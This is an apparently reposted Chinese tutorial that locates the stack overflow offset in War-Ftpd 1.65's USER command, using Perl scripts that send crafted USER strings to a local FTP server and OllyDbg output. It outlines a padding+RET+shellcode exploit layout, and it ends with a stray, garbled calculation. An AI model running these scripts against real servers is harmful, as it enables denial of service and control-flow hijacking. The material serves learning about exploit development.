堆栈溢出点定位的2种方法 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    作者:SuperHei 来源:安全天使

    漏洞软件:War-Ftpd version 1.65

    调试软件:Ollydbg

    程序编写:perl

    漏洞描叙:构造USER,导致stack溢出,

堆栈溢出点定位的2种方法

    关于一些调试的问题请参考:《Win32缓冲区溢出实战》http://www.ph4nt0m.org/doc/20041101160955.pdf

    我们首先模仿ftp登陆写个脚本,并把提交的user用AAAA.....表示个数用参数提交,我们要确定的溢出点,就是看当我们提交的AAA.....刚刚覆盖我们的ret的个数。

    #!/usr/bin/perl

    use IO::Socket;

    $ARGC = @ARGV;

    $host = "127.0.0.1";

    $port = "2121";

    $eff=@ARGV[0];

    $buff='A'x$eff;

    my $sock = IO::Socket::INET->new(Proto =>"tcp",

    PeerAddr =>$host,

    PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

    print $sock "USER $buff\n";

    print "USER $buff\n";

    close $sock;

    下面我们使用2分法来确定这个$eff.首先用ollydbg加载我们War-Ftpd并运行。

    我们运行的pl

    C:\usr\bin>exp.pl 800

    USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAA

    当我们提交800个A时,溢出触发了,War-Ftpd挂了:).此时eip值为41414141。

    这里我们重新用olldbg调试一次,这一次我们提交400个A:

    C:\usr\bin>exp.pl 400

    USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAA

    这时漏洞根本就没有触发,说明我们的ret根本没有被我们提交的AAAA覆盖。 我们可以确定

    $eff的值在400-800之间。

    我们在测试550个A,漏洞又被我们触发了,那么我们确定$eff的值在400-550之间

    ....................

    最后,当我们提交489个A时,最后的4个A覆盖了我们的返回地址(ret)ollydbg可以看到我们

    的eip正好被41414141覆盖,因此我们确定溢出点了:).也就是我们可以初步确定exp提交的字符了:

    USER AAAA.....(485个)+RET+ShellCode

    接下来我们要做的就是确定shellcode的地址,我们调试可以看到在esp附近可以找到我们的shellcode

    那么我们就可以采用jump exp(或call esp)的地址覆盖RET,那么我们的转跳就完成了...............

    其实我们这里只是完成了exp的一个小部分,主要还有shellcode的编写和调试,这个部分由于我基础

    没打好,现在还不怎么熟悉,努力ing:)。

    b.利用2次溢出定位溢出点

    这个方法最开始在黑防上见到的,例子是上次的那个War-Ftpd version 1.65的user漏洞

    第1次溢出代码:

    #!/usr/bin/perl

    use IO::Socket;

    $host = "127.0.0.1";

    $port = "2121";

    my $sock = IO::Socket::INET->new(Proto =>"tcp",

    PeerAddr =>$host,

    PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

    print $sock "USER ";

    #关键代码

    for($i=0;$i<800;$i++){

    $k=$i%10+100; #<==注意这里

    print $sock chr($k);

    print chr($k);}

    print $sock "\n";

    close $sock;

    用ollydbg加载War-Ftpd并运行,

电脑资料

堆栈溢出点定位的2种方法》(https://www.unjs.com)。

    C:\usr\bin>buff1.pl

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm

    看到了把我们提交的是10进制是100-109之间字母就是 d-m 这个用来确定尾数。

    溢出被触发,此时的eip为0x6C6B6A69 对应的字母是 lkji 机器码排列是反向存在的

    所以我们覆盖的ret地址最开始字母是i,机器码0x69。其中没段d-m的字母是以d开始

    的,对应的机器码为0x64, 我们可以确定提交buff长度尾数为:0x69-0x64=5 开始覆

    盖ret。

    第2次溢出代码:

    #!/usr/bin/perl

    use IO::Socket;

    $host = "127.0.0.1";

    $port = "2121";

    my $sock = IO::Socket::INET->new(Proto =>"tcp",

    PeerAddr =>$host,

    PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

    print $sock "USER ";

    #关键代码

    for($i=0;$i<800;$i++){

    $k=$i/10+100; #<==注意这里

    print $sock chr($k);

    print chr($k);}

    print $sock "\n";

    close $sock;

    用ollydbg重新加载War-Ftpd并运行。

    C:\usr\bin>buff1.pl

    ddddddddddeeeeeeeeeeffffffffffgggggggggghhhhhhhhhhiiiiiiiiiijjjjjjjjjjkkkkkkkkkk

    llllllllllmmmmmmmmmmnnnnnnnnnnooooooooooppppppppppqqqqqqqqqqrrrrrrrrrrssssssssss

    ttttttttttuuuuuuuuuuvvvvvvvvvvwwwwwwwwwwxxxxxxxxxxyyyyyyyyyyzzzzzzzzzz{{{{{{{{{{

    ||||||||||}}}}}}}}}}~~~~~~~~~~??????????亖亖亖亖亖倐倐倐倐倐儍儍儍儍儍

    剟剟剟剟剟厖厖厖厖厖唵唵唵唵唵噰噰噰噰噰垐垐垐垐垐墘墘墘墘墘妸妸妸妸妸媼媼媼媼媼

    寣寣寣寣寣崓崓崓崓崓帋帋帋帋帋弿弿弿弿弿悙悙悙悙悙憫憫憫憫憫拻拻拻拻拻摀摀摀摀摀

    敂敂敂敂敂晻晻晻晻晻枛枛枛枛枛棗棗棗棗棗槝槝槝槝槝櫃櫃櫃櫃櫃殮殮殮殮殮洓洓洓洓洓

    湝湝湝湝湝潩潩潩潩潩灋灋灋灋灋煙煙煙煙煙牋牋牋牋牋     ⅱⅱⅱⅱⅱ#####

    いいいいいゥゥゥゥゥΖΖΖΖΖЁЁЁЁЁèèèèè┅┅┅┅┅

    鞍鞍鞍鞍鞍北北北北北膊膊膊膊膊吵吵吵吵吵

    此时eip为0x94949494 这个是来确定在那个段发生溢出的:0x94-0x64=48

    综合上面2次溢出,溢出点为: (0x94-0x64)x10+(0x69-0x64)=485,即当我们提交长度为485的

    buff时,开始覆盖ret。 6e-64x100+80-64=1122

最新文章